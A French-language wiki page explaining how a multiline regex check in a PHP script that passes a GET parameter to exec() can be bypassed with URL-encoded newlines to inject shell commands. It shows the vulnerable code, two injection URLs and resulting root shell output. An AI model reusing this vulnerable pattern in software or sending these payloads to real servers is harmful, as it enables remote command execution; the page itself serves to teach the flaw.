Outils pour utilisateurs

Outils du site


web:faille_regex_expression_reguliere

Ceci est une ancienne révision du document !


Faille Regex : Expression régulière

1.Présentation

Les expressions régulières constituent un système très puissant et très rapide pour faire des recherches dans des chaînes de caractères (des phrases, par exemple).

Leur mauvaise implémentation peu créer des failles de sécurité.

Voici un exemple de regex vulnérable :

/^[\/a-zA-Z0-9\-\s_]+\.rpt$/m

Elle tente d'associer n'importe quel combinaison de lettres , nombres , points , underscores ,slashes et d'espace se terminant par l'extension “.rpt” Cependant il y'a un défaut que nous exploiterons.

Exemple de regex vulnérable implémenter dans une code php :

<?php
  $file_name = $_GET["path"];
  if(!preg_match("/^[\/a-zA-Z0-9\-\s_]+\.rpt$/m", $file_name)) {
    echo "regex failed";
  } else {
    echo exec("/usr/bin/file -i -b " . $file_name);
  }
?>

Le script en question va vérifier que la regex soit valide avant de faire un file sur le fichier en question.

2.Exploitation

Le but de l'exploitation va être d'injecter un retour à la ligne. Celui-ci nous permettra d'interagir directement avec le shell.

2.1 Méthode 1 : Retour à la ligne

http://localhost/index.php?path=/path/to/file%0Aid%0A.rpt

%0A est un retour à la ligne encodé en URL.

Pour la regex le payload est sûr. Pour autant , que se passe-t-il dans le shell ?

# /usr/bin/file -i -b /path/to/file
ERROR: cannot open `/path/to/file' (No such file or directory)
# id
uid=0(root) gid=0(root) groups=0(root)
# .rpt
bash: .rpt: command not found
#

Chaque retour à la ligne démarre une nouvelle commande. Le shell exécute arbitrairement notre commande id.

2.2 Méthode 2 : Bypass \s

\s étant responsable de la faille, certains développeur auront la malheureuse idée de le remplacer par un espace.

Ce qui nous donne la nouvelle regex :

/^[\/a-zA-Z0-9\- _]+\.rpt$/m

Il faut mettre le retour à la ligne après l'extension comme ce-ci :

http://localhost/index.php?path=/path/to/file.rpt%0aid

3.Comment se protéger

Faite très attention à vos regex. N'hésitez pas à demander conseil lorsque vous n'êtes pas sur. Les conséquences peuvent être importantes.

Source :https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable/

web/faille_regex_expression_reguliere.1458040254.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)